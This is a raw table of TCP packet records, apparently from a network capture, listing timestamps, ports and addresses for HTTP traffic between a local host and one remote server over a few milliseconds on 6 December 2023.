Dec 6, 2023 14:33:03.862416029 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.862418890 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.862431049 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.862442970 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.862452984 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.862464905 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.862473011 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.862478018 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.862509966 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.862515926 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.862631083 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.862643957 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.862667084 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.862679005 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.862713099 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.863025904 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863061905 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863100052 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.863115072 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863127947 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863138914 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863162041 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.863190889 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863203049 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863214016 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863225937 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863226891 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.863253117 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.863276005 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863287926 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863298893 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863312960 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.863320112 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863331079 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.863373041 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863384962 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863392115 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863441944 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.863451004 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863464117 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863475084 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863487005 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863504887 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.863508940 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.863518000 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.864025116 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864062071 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.864180088 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864231110 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864243031 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864263058 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.864295006 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864311934 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864334106 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.864366055 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864377975 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864401102 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.864411116 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864443064 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.864471912 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864485025 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864495993 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864506960 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864517927 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864517927 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.864540100 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.864571095 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864609003 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.864640951 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864682913 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864696026 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864725113 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.864744902 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864782095 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.864789009 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864800930 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864811897 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864825010 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864833117 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.864859104 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.864864111 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864927053 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864939928 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864950895 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864962101 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.864970922 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.864984989 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.864994049 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865026951 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.865194082 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865206003 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865217924 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865230083 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865237951 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.865263939 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.865271091 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865283012 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865293980 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865305901 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865315914 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.865341902 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.865348101 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865400076 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865411997 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865422964 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865433931 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865436077 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.865454912 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.865478039 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865514040 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.865520954 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865534067 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865566015 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.865590096 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865602016 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865637064 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.865647078 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865658998 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865680933 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865690947 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.865722895 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865741968 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.865762949 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.866106033 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866139889 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.866148949 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866163015 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866174936 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866195917 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.866199017 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866235971 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.866245031 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866257906 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866305113 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866329908 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.866350889 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866390944 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.866398096 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866410017 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866426945 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866437912 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866442919 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.866451025 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866478920 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.866487980 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866499901 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866520882 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866525888 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.866554976 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.866561890 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866611958 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866625071 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866636992 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866648912 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.866671085 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866676092 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.866703987 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.866928101 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.867089987 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.867101908 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.867132902 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.867185116 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.867192984 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.867217064 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.867237091 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.867320061 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.867377043 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.867381096 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.867758036 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.867769957 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.867800951 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.867800951 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.867813110 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.867832899 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.867882967 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.867896080 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.867907047 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.867918015 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.867918968 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.867944956 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.867969990 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868002892 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.868036985 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868098021 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868109941 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868134022 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.868213892 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868247986 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.868252993 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868287086 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868320942 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.868335009 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868412018 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868451118 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.868458986 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868483067 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868513107 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.868515968 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868592024 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868626118 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.868635893 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868690014 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868731022 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.868731022 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868755102 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868793011 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868796110 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.868833065 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868866920 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.868870974 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868916035 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868928909 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868952036 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.868963003 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868976116 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.868998051 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.869039059 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869076014 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.869453907 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869520903 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869563103 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.869596958 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869610071 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869643927 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.869645119 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869658947 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869671106 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869692087 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.869715929 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869728088 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869739056 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869750977 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.869750977 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869776011 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869777918 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.869798899 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869811058 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.869822025 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869856119 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.869865894 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869879007 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869910955 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.869923115 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869977951 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.869991064 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870003939 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870012045 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.870042086 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.870208979 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870222092 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870256901 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.870265007 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870277882 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870290995 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870311022 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.870359898 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870373011 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870384932 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870393038 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.870417118 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870419979 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.870459080 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870491028 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870491028 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.870513916 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870544910 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870549917 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.870609045 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870620966 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870646000 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.870666981 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870690107 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870701075 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870703936 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.870737076 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.870759010 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870879889 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870893002 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870904922 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870917082 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.870939970 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870940924 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.870953083 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870965004 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.870985985 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.870987892 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871011972 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871027946 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.871035099 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871073008 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.871095896 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871109009 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871144056 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.871151924 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871164083 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871195078 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.871208906 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871232033 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871264935 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.871280909 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871294022 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871309042 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871328115 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.871349096 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871381998 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.871407032 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871454000 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871467113 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871490002 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.871514082 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871548891 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.871582031 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871726990 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871776104 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.871795893 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871845961 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871857882 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871881962 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.871889114 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871922970 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.871932983 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871946096 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.871980906 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.871993065 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.872004986 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.872026920 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.872040987 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.872062922 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.872093916 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.872116089 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.872128963 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.872139931 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.872163057 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.872205973 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.872219086 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.872240067 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.872247934 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.872279882 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.872284889 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.872292995 CET	80	49706	104.21.73.195	192.168.2.5
